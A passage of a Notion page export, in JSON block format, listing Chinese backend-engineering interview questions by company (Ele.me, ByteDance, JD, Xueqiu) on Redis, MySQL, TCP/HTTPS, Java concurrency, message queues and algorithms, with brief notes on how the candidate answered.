的区别"]]},"created_time":1712329332978,"last_edited_time":1712329332978,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e04eb5a9-b268-4fea-bb56-52b2286ad3b7":{"value":{"id":"e04eb5a9-b268-4fea-bb56-52b2286ad3b7","type":"bulleted_list","properties":{"title":[["TCP 拥塞控制如何实现?慢启动、快重传等算法原理"]]},"created_time":1712329332978,"last_edited_time":1712329332978,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"815e5bff-c3bc-4de0-ab6a-fb1ecd7cda2f":{"value":{"id":"815e5bff-c3bc-4de0-ab6a-fb1ecd7cda2f","type":"bulleted_list","properties":{"title":[["进程和线程的区别"]]},"created_time":1712329332979,"last_edited_time":1712329332979,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"030b125a-c4f3-4bf6-b54b-83b0daba7da7":{"value":{"id":"030b125a-c4f3-4bf6-b54b-83b0daba7da7","type":"bulleted_list","properties":{"title":[["协程介绍"]]},"created_time":1712329332979,"last_edited_time":1712329332979,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"03eadcd6-817c-4031-b40f-f57b2f46b124":{"value":{"id":"03eadcd6-817c-4031-b40f-f57b2f46b124","type":"bulleted_list","properties":{"title":[["进程之间如何通信"]]},"created_time":1712329332979,"last_edited_time":1712329332979,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"868a20a4-573d-4f30-801b-1bed660c4208":{"value":{"id":"868a20a4-573d-4f30-801b-1bed660c4208","type":"bulleted_list","properties":{"title":[["MySQL、Redis 如何做集群"]]},"created_time":1712329332979,"last_edited_time":1712329332979,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d48e3ba4-1380-4658-bf19-86e87ac53f17":{"value":{"id":"d48e3ba4-1380-4658-bf19-86e87ac53f17","type":"bulleted_list","properties":{"title":[["InnerDB 相对传统数据库的优势"]]},"created_time":1712329332979,"last_edited_time":1712329332979,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8e0947a3-84a7-4595-968b-71c7305774bb":{"value":{"id":"8e0947a3-84a7-4595-968b-71c7305774bb","type":"bulleted_list","properties":{"title":[["InnerDB 索引底层数据结构是什么?"]]},"created_time":1712329332979,"last_edited_time":1712329332979,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fa517028-e393-4360-a522-2911eed45db6":{"value":{"id":"fa517028-e393-4360-a522-2911eed45db6","type":"bulleted_list","properties":{"title":[["InnerDB 事务如何执行?"]]},"created_time":1712329332980,"last_edited_time":1712329332980,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2031d6a1-5e01-4c77-a838-17a03e8410bc":{"value":{"id":"2031d6a1-5e01-4c77-a838-17a03e8410bc","type":"bulleted_list","properties":{"title":[["Paxos 和 Raft 协议会么?(这里答了 ZAB 协议介绍)"]]},"created_time":1712329332980,"last_edited_time":1712329332980,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"735ecb2a-321a-4fcb-b7a6-b50b3a71e783":{"value":{"id":"735ecb2a-321a-4fcb-b7a6-b50b3a71e783","type":"bulleted_list","properties":{"title":[["select/epoll 区别"]]},"created_time":1712329332980,"last_edited_time":1712329332980,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fa3cb6f6-51d0-43cb-a901-f16fc76f84be":{"value":{"id":"fa3cb6f6-51d0-43cb-a901-f16fc76f84be","type":"header","properties":{"title":[["34.五年饿了么"]]},"created_time":1712329332981,"last_edited_time":1712375145324,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"78030d16-565b-4461-afe3-3c273715adca":{"value":{"id":"78030d16-565b-4461-afe3-3c273715adca","type":"bulleted_list","properties":{"title":[["数据库事务的隔离级别?"]]},"created_time":1712329332981,"last_edited_time":1712329332981,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"bbdf3ff7-023d-41a0-a83a-60f70270b9e0":{"value":{"id":"bbdf3ff7-023d-41a0-a83a-60f70270b9e0","type":"bulleted_list","properties":{"title":[["事务的几大特性,并谈一下实现原理"]]},"created_time":1712329332981,"last_edited_time":1712329332981,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1ccc391a-00d3-4df5-9a8d-0bbd93a193e0":{"value":{"id":"1ccc391a-00d3-4df5-9a8d-0bbd93a193e0","type":"bulleted_list","properties":{"title":[["如何用redis实现消息的发布订阅?"]]},"created_time":1712329332981,"last_edited_time":1712329332981,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"45538927-f8a7-4a00-b2ff-dc58ea0bbc4e":{"value":{"id":"45538927-f8a7-4a00-b2ff-dc58ea0bbc4e","type":"bulleted_list","properties":{"title":[["java为什么要在内存结构中设计自己的程序计数器,为什么不使用内核的?"]]},"created_time":1712329332981,"last_edited_time":1712329332981,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2513f959-2721-4a2f-932e-8ac9efd7cf6d":{"value":{"id":"2513f959-2721-4a2f-932e-8ac9efd7cf6d","type":"bulleted_list","properties":{"title":[["分布式事务2pc的过程?"]]},"created_time":1712329332981,"last_edited_time":1712329332981,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"eedd0115-732e-4b00-b320-5585f4442894":{"value":{"id":"eedd0115-732e-4b00-b320-5585f4442894","type":"bulleted_list","properties":{"title":[["redis是单线程的,为什么会这么快?"]]},"created_time":1712329332982,"last_edited_time":1712329332982,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f2d764d5-c270-44ab-846b-d73c7b1a26ed":{"value":{"id":"f2d764d5-c270-44ab-846b-d73c7b1a26ed","type":"bulleted_list","properties":{"title":[["谈谈nio的实现,以及netty是如何设计的?"]]},"created_time":1712329332982,"last_edited_time":1712329332982,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e4ee2afd-e431-44f5-8acb-c06d563b9205":{"value":{"id":"e4ee2afd-e431-44f5-8acb-c06d563b9205","type":"bulleted_list","properties":{"title":[["微服务化的时候,什么时候应该拆分,什么情况应该合并"]]},"created_time":1712329332982,"last_edited_time":1712329332982,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b8c3e608-f145-490c-a2cf-fdb3f86b7c96":{"value":{"id":"b8c3e608-f145-490c-a2cf-fdb3f86b7c96","type":"bulleted_list","properties":{"title":[["什么时候应该使用消息,什么时候适合接口调用?"]]},"created_time":1712329332982,"last_edited_time":1712329332982,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b98bf174-4e60-4c55-84e2-c4db7d5696ea":{"value":{"id":"b98bf174-4e60-4c55-84e2-c4db7d5696ea","type":"bulleted_list","properties":{"title":[["分库分表中如果让你设计全局id,如何设计,我回答雪花算法,继续问,百度对雪花算法的优化"]]},"created_time":1712329332982,"last_edited_time":1712375166507,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"557aeb0a-d7f9-4e4d-9cc8-112764a10611":{"value":{"id":"557aeb0a-d7f9-4e4d-9cc8-112764a10611","type":"bulleted_list","properties":{"title":[["redis如何进行单机热点数据的统计?"]]},"created_time":1712329332982,"last_edited_time":1712329332982,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"057c748d-5ce7-44c6-a573-4ffc3cb652d7":{"value":{"id":"057c748d-5ce7-44c6-a573-4ffc3cb652d7","type":"bulleted_list","properties":{"title":[["redis集群中新加节点以后,如何给新节点分配数据?"]]},"created_time":1712329332983,"last_edited_time":1712329332983,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"27d73479-dabd-4231-a98b-ee5d0c65bed5":{"value":{"id":"27d73479-dabd-4231-a98b-ee5d0c65bed5","type":"bulleted_list","properties":{"title":[["如何从含有100亿个整数的文件中找出其中最大的100个?"]]},"created_time":1712329332983,"last_edited_time":1712329332983,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b8b2b803-b908-49ba-8954-1b0911342b87":{"value":{"id":"b8b2b803-b908-49ba-8954-1b0911342b87","type":"header","properties":{"title":[["35.三年字节"]]},"created_time":1712329332983,"last_edited_time":1712375170950,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"36acdfb4-ac53-478d-8ce0-82ad362a1bde":{"value":{"id":"36acdfb4-ac53-478d-8ce0-82ad362a1bde","type":"bulleted_list","properties":{"title":[["在涉及支付的接口是如何保证接口的高可用,以及在遇到弱网条件下,发出的请求没有回复怎么办?"]]},"created_time":1712329332983,"last_edited_time":1712329332983,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4eecb0f4-3c1a-490e-8740-b084abded0a3":{"value":{"id":"4eecb0f4-3c1a-490e-8740-b084abded0a3","type":"bulleted_list","properties":{"title":[["消息队列问题,如何保证消息的可靠性,不被重复消费,多个相同的消息,如何保证只消费一次?"]]},"created_time":1712329332983,"last_edited_time":1712329332983,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5836aa73-5e60-4296-9f87-58938452e20a":{"value":{"id":"5836aa73-5e60-4296-9f87-58938452e20a","type":"bulleted_list","properties":{"title":[["你负责的功能模块的UV怎么去做的?对于某些某段时间内求情次数非常大的用户如何去处理呢?"]]},"created_time":1712329332983,"last_edited_time":1712329332983,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ae7f4ecf-e3a3-416a-b077-39218070288b":{"value":{"id":"ae7f4ecf-e3a3-416a-b077-39218070288b","type":"bulleted_list","properties":{"title":[["Redis基本数据类型底层是怎么去实现的?有了解过吗?"]]},"created_time":1712329332984,"last_edited_time":1712329332984,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b69a2d86-2502-4740-ab07-865918d670a6":{"value":{"id":"b69a2d86-2502-4740-ab07-865918d670a6","type":"bulleted_list","properties":{"title":[["在浏览器输入网址敲下回车后发生了什么?从网址DNS解析到HTTP三次握手等过程"]]},"created_time":1712329332984,"last_edited_time":1712329332984,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e2376cac-f1cf-440c-9b40-37f3ec5c8503":{"value":{"id":"e2376cac-f1cf-440c-9b40-37f3ec5c8503","type":"bulleted_list","properties":{"title":[["在服务的多节点情况下,如何保证请求不会被分配到坏的节点上去的?"]]},"created_time":1712329332984,"last_edited_time":1712329332984,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e59cb519-c3fe-49e6-93f0-9dbdda0df46f":{"value":{"id":"e59cb519-c3fe-49e6-93f0-9dbdda0df46f","type":"bulleted_list","properties":{"title":[["Redis分布式锁是怎么做到的?锁的过期时间怎么去设计的?如何保证当前锁不会释放掉其他锁?"]]},"created_time":1712329332984,"last_edited_time":1712329332984,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d456a032-05a8-4ecf-999b-7aee58cde97a":{"value":{"id":"d456a032-05a8-4ecf-999b-7aee58cde97a","type":"bulleted_list","properties":{"title":[["HTTPS和HTTP的区别,HTTPS是如何防止消息被篡改的呢?HTTPS有用到对称加密吗?哪些地方用到了?"]]},"created_time":1712329332984,"last_edited_time":1712329332984,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"82c6a9ae-36c1-4d07-bbfb-5c26de2e96f9":{"value":{"id":"82c6a9ae-36c1-4d07-bbfb-5c26de2e96f9","type":"bulleted_list","properties":{"title":[["写一个算法题吧,给一个有序的int数组和数组当中元素k,输出元素k在数组当中出现的次数。例如:[2,3,4,5,5,5,6,8]k=5 output:3要去算法的时间复杂度不超过O(n),也就是说不能去遍历数组了"]]},"created_time":1712329332984,"last_edited_time":1712375177940,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"90089a25-8c6c-44fa-aa74-60d790888faf":{"value":{"id":"90089a25-8c6c-44fa-aa74-60d790888faf","type":"bulleted_list","properties":{"title":[["用两个栈实现一个队列"]]},"created_time":1712329332985,"last_edited_time":1712329332985,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"aa55a3e8-c9e0-4a82-aed9-37bccc67ad02":{"value":{"id":"aa55a3e8-c9e0-4a82-aed9-37bccc67ad02","type":"header","properties":{"title":[["36.三年字节"]]},"created_time":1712329332985,"last_edited_time":1712375182391,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1d946f48-29c4-464b-bdaa-7861d03304ae":{"value":{"id":"1d946f48-29c4-464b-bdaa-7861d03304ae","type":"bulleted_list","properties":{"title":[["https建立链接的过程,ssl的流程,如何协商的和加密的"]]},"created_time":1712329332985,"last_edited_time":1712329332985,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ad881fc7-c97c-4a8c-a8e0-8c64948eeb46":{"value":{"id":"ad881fc7-c97c-4a8c-a8e0-8c64948eeb46","type":"bulleted_list","properties":{"title":[["数据交互用的啥json,xml还有个什么buffer没听清,我们全都用的json统一封装请求响应"]]},"created_time":1712329332985,"last_edited_time":1712375185696,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"70e084fa-8618-47cc-bf5b-0fb6f577ba25":{"value":{"id":"70e084fa-8618-47cc-bf5b-0fb6f577ba25","type":"bulleted_list","properties":{"title":[["tcp断开链接过程,为什么客户端要等待2倍最大报文段时间才断开链接?没答上来"]]},"created_time":1712329332985,"last_edited_time":1712329332985,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c6e4e576-afdf-4bba-b221-756b17d08eb7":{"value":{"id":"c6e4e576-afdf-4bba-b221-756b17d08eb7","type":"bulleted_list","properties":{"title":[["mysql的undulog,redulog,binlog说一说"]]},"created_time":1712329332986,"last_edited_time":1712329332986,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a626d7a4-5fb8-4d63-a652-0e7c2c517620":{"value":{"id":"a626d7a4-5fb8-4d63-a652-0e7c2c517620","type":"bulleted_list","properties":{"title":[["索引数据结构,主键索引和非主键索引区别"]]},"created_time":1712329332986,"last_edited_time":1712329332986,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f5d2723e-c58f-4b7f-baac-e1fe17d6d05d":{"value":{"id":"f5d2723e-c58f-4b7f-baac-e1fe17d6d05d","type":"bulleted_list","properties":{"title":[["redis常用数据类型你用过那些,为啥快,做了啥优化?项目用到了redis么?以后缓存怎么做?缓存一致性问题,双删,以数据库为基准,达到最终一致性。缓存穿透说说?"]]},"created_time":1712329332986,"last_edited_time":1712329332986,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"75cb3525-1367-41e5-8a85-988b13bf7b2e":{"value":{"id":"75cb3525-1367-41e5-8a85-988b13bf7b2e","type":"bulleted_list","properties":{"title":[["mq使用场景?咋做到低延时高吞吐的,做了啥优化。回答跑题了,扯到内存节点和磁盘节点去了,还有channel连接池减少创建链接和断开链接的资源损耗。"]]},"created_time":1712329332986,"last_edited_time":1712329332986,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"30b3ae33-ed23-43c8-a705-2f88b17011e6":{"value":{"id":"30b3ae33-ed23-43c8-a705-2f88b17011e6","type":"bulleted_list","properties":{"title":[["rabbitmq整个流程,咋不直接用mysql做你的那个大文件异步下载呢,回答了第一版定时器扫表的那个比较损耗资源,因为不知道多久扫一次。"]]},"created_time":1712329332986,"last_edited_time":1712329332986,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ce163d31-26f2-45b4-ba6c-c78986b627eb":{"value":{"id":"ce163d31-26f2-45b4-ba6c-c78986b627eb","type":"bulleted_list","properties":{"title":[["服务间调用用的啥。"]]},"created_time":1712329332986,"last_edited_time":1712329332986,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1c90a5e1-bc06-4faf-ac6e-fca5fc95721f":{"value":{"id":"1c90a5e1-bc06-4faf-ac6e-fca5fc95721f","type":"bulleted_list","properties":{"title":[["nacos这个注册中心你们自己实现的么,回答用的阿里的组件(感觉面试官是搞php或者go的)"]]},"created_time":1712329332987,"last_edited_time":1712329332987,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"05613447-cf95-4d24-85de-e333971ab72e":{"value":{"id":"05613447-cf95-4d24-85de-e333971ab72e","type":"bulleted_list","properties":{"title":[["虚拟地址到物理地址的寻址流程??"]]},"created_time":1712329332987,"last_edited_time":1712375244642,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7d5f56d4-9dbd-431e-bc39-e0d6a91179ea":{"value":{"id":"7d5f56d4-9dbd-431e-bc39-e0d6a91179ea","type":"bulleted_list","properties":{"title":[["操作系统java编译流程"]]},"created_time":1712329332987,"last_edited_time":1712329332987,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"18bb31c1-bb87-41a7-9e58-254c6311b072":{"value":{"id":"18bb31c1-bb87-41a7-9e58-254c6311b072","type":"bulleted_list","properties":{"title":[["IO多路复用,回答了redis的请求单线程就用到了这个。有哪些方式?给忘了没答上来?"]]},"created_time":1712329332987,"last_edited_time":1712329332987,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"971666a2-40db-4b07-80b3-60bdd2f404f2":{"value":{"id":"971666a2-40db-4b07-80b3-60bdd2f404f2","type":"bulleted_list","properties":{"title":[["mq优化 零拷贝问题?好像跟高吞吐低延时有关系,没答上来"]]},"created_time":1712329332987,"last_edited_time":1712329332987,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"342423d5-b561-4d43-97dc-dd5ccaa5691c":{"value":{"id":"342423d5-b561-4d43-97dc-dd5ccaa5691c","type":"bulleted_list","properties":{"title":[["项目,bbs点赞怎么设计的,redis缓存,评论支持一级评论和二级评论这种么,是的,记录了parentId来明确数据之间的层级关系,以及点赞评论通知目标准确性"]]},"created_time":1712329332987,"last_edited_time":1712329332987,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"206814bf-0b66-4217-8236-631671fb4757":{"value":{"id":"206814bf-0b66-4217-8236-631671fb4757","type":"bulleted_list","properties":{"title":[["算法题,目前有一堆日常的任务,比如任务的id为 1, 2, 3,给出具体的任务数,比如一个数值N和任务之间的依赖关系。多个任务有依赖关系,被依赖的任务执行完,该任务才能执行,输出一种可执行的任务的顺序1,2说明 1的执行依赖于2先完成。输入参数 int N,int[] 1 2 2 3 3 4 输出 4, 3, 2 , 1输入参数 4 ,1 2 2 1 3 4 输出 -1"]]},"created_time":1712329332988,"last_edited_time":1712375239980,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"79869e1a-b059-4ac6-bfef-482609436303":{"value":{"id":"79869e1a-b059-4ac6-bfef-482609436303","type":"header","properties":{"title":[["37.京东"]]},"created_time":1712329332988,"last_edited_time":1712375246991,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"570e1399-28a8-4c5a-b3d8-c372aa185554":{"value":{"id":"570e1399-28a8-4c5a-b3d8-c372aa185554","type":"bulleted_list","properties":{"title":[["讲一下dubbo这个rpc框架的调用方式"]]},"created_time":1712329332989,"last_edited_time":1712329332989,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"cd89d069-61d3-4c8b-aed5-450433b0f584":{"value":{"id":"cd89d069-61d3-4c8b-aed5-450433b0f584","type":"bulleted_list","properties":{"title":[["dubbo配合zookeeper怎么进行服务注册与发现"]]},"created_time":1712329332989,"last_edited_time":1712329332989,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9fc57e6f-e769-493b-8461-b8282c9c5d6d":{"value":{"id":"9fc57e6f-e769-493b-8461-b8282c9c5d6d","type":"bulleted_list","properties":{"title":[["springboot是怎么读取dubbo.xml文件的,启动spring项目的时候是怎么实例化dubbo里面的类的,分析具体细节与源码"]]},"created_time":1712329332989,"last_edited_time":1712329332989,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"914e20ae-8d59-4f2c-b9cd-7e743f940c65":{"value":{"id":"914e20ae-8d59-4f2c-b9cd-7e743f940c65","type":"bulleted_list","properties":{"title":[["zookeeper和eureka注册中心的区别,cap定理,zookeeper选举过程"]]},"created_time":1712329332989,"last_edited_time":1712329332989,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f4ddfd72-fab5-421e-b4b4-1ab60317b769":{"value":{"id":"f4ddfd72-fab5-421e-b4b4-1ab60317b769","type":"bulleted_list","properties":{"title":[["平时怎么优化mysql的,mysql的索引结构,每个结点怎么存,mysql一张表最大能存多少数据。b+树的树深度怎么计算。叶子结点存了什么"]]},"created_time":1712329332989,"last_edited_time":1712329332989,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"423b8042-9230-448e-ae47-5d9d7fe7cf41":{"value":{"id":"423b8042-9230-448e-ae47-5d9d7fe7cf41","type":"bulleted_list","properties":{"title":[["聚簇索引和非聚簇索引的区别与底层原理"]]},"created_time":1712329332990,"last_edited_time":1712329332990,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0024cf18-e0ea-48bd-9105-7e6ef8a30a91":{"value":{"id":"0024cf18-e0ea-48bd-9105-7e6ef8a30a91","type":"bulleted_list","properties":{"title":[["sychronized关键字底层实现,lock底层实现"]]},"created_time":1712329332990,"last_edited_time":1712329332990,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"49fa392f-1fda-46c2-989d-1b8086697296":{"value":{"id":"49fa392f-1fda-46c2-989d-1b8086697296","type":"bulleted_list","properties":{"title":[["lock底层AQS怎么实现,CLH队列怎么存储数据,具体细节"]]},"created_time":1712329332990,"last_edited_time":1712329332990,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ead21f86-0381-4318-9e32-d83e5a08caf9":{"value":{"id":"ead21f86-0381-4318-9e32-d83e5a08caf9","type":"bulleted_list","properties":{"title":[["aqs中的state字段作用,如果这个程序突然挂了,锁着的资源怎么做,aqs里面的执行流程"]]},"created_time":1712329332990,"last_edited_time":1712329332990,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c4cb5d4a-afec-464a-8f3c-0a54826dd25f":{"value":{"id":"c4cb5d4a-afec-464a-8f3c-0a54826dd25f","type":"bulleted_list","properties":{"title":[["volatile原理,底层怎么可见性和保证有序,说一下mesi缓存一致性协议具体"]]},"created_time":1712329332990,"last_edited_time":1712329332990,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c6c82c95-4c57-4c68-b744-9ac60f8283e8":{"value":{"id":"c6c82c95-4c57-4c68-b744-9ac60f8283e8","type":"bulleted_list","properties":{"title":[["锁的升级,对象的32位或者64位都存了啥"]]},"created_time":1712329332990,"last_edited_time":1712329332990,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"aa03cd5a-cadc-4078-8310-b5507bdba8f8":{"value":{"id":"aa03cd5a-cadc-4078-8310-b5507bdba8f8","type":"bulleted_list","properties":{"title":[["用过redis么,用redis都做了什么"]]},"created_time":1712329332990,"last_edited_time":1712329332990,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"72113219-c071-440c-a886-56171769e4f0":{"value":{"id":"72113219-c071-440c-a886-56171769e4f0","type":"bulleted_list","properties":{"title":[["redis的删除策略,过期删除有哪些过期策略"]]},"created_time":1712329332991,"last_edited_time":1712329332991,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"043876ef-3a2e-43df-874a-2969d3fe9f15":{"value":{"id":"043876ef-3a2e-43df-874a-2969d3fe9f15","type":"bulleted_list","properties":{"title":[["redis的持久化,rdb和aof区别,redis服务挂了怎么恢复数据,具体恢复过程"]]},"created_time":1712329332991,"last_edited_time":1712329332991,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f71f5cd3-130a-49cc-b779-a727e0555560":{"value":{"id":"f71f5cd3-130a-49cc-b779-a727e0555560","type":"bulleted_list","properties":{"title":[["redis的选举过程"]]},"created_time":1712329332991,"last_edited_time":1712329332991,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ba7fe5ad-b7d6-41fa-98d9-f41025fe6148":{"value":{"id":"ba7fe5ad-b7d6-41fa-98d9-f41025fe6148","type":"bulleted_list","properties":{"title":[["mq的作用,用过哪些"]]},"created_time":1712329332991,"last_edited_time":1712329332991,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"94c01798-3e8e-4b60-9f0e-dfb145a01f51":{"value":{"id":"94c01798-3e8e-4b60-9f0e-dfb145a01f51","type":"bulleted_list","properties":{"title":[["hashmap底层原理,为什么线程不安全,扩容的具体思路,有没有线程安全的map"]]},"created_time":1712329332991,"last_edited_time":1712329332991,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3344db70-ed4a-46bb-9437-279ac5ce959b":{"value":{"id":"3344db70-ed4a-46bb-9437-279ac5ce959b","type":"bulleted_list","properties":{"title":[["讲一下currenthashmap的原理,1.7和1.8区别,扩容,协助扩容"]]},"created_time":1712329332991,"last_edited_time":1712329332991,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7044f593-8ce9-4930-82a2-efe0cfae2740":{"value":{"id":"7044f593-8ce9-4930-82a2-efe0cfae2740","type":"bulleted_list","properties":{"title":[["threadlocal源码,怎么解决哈希冲突"]]},"created_time":1712329332992,"last_edited_time":1712329332992,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d0f20082-3352-471a-9fed-3e6df126e806":{"value":{"id":"d0f20082-3352-471a-9fed-3e6df126e806","type":"bulleted_list","properties":{"title":[["场景题,数据库里面有两列数据,id和score,数据量上百万。用线程池创建线程进行多线程累加score,怎么设计。从创建线程池到取数据累加存储结果。"]]},"created_time":1712329332992,"last_edited_time":1712329332992,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6e607f88-ae95-4e99-a1af-9c8857546d94":{"value":{"id":"6e607f88-ae95-4e99-a1af-9c8857546d94","type":"bulleted_list","properties":{"title":[["场景题,怎么设计一个高并发接口"]]},"created_time":1712329332992,"last_edited_time":1712329332992,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2cb28763-cae4-48b3-adc0-b6148e80bfad":{"value":{"id":"2cb28763-cae4-48b3-adc0-b6148e80bfad","type":"header","properties":{"title":[["38.雪球"]]},"created_time":1712329332992,"last_edited_time":1712375264138,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b4ba79e5-6f83-4943-895a-882ad3b529ec":{"value":{"id":"b4ba79e5-6f83-4943-895a-882ad3b529ec","type":"bulleted_list","properties":{"title":[["单例模式"]]},"created_time":1712329332993,"last_edited_time":1712329332993,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_blo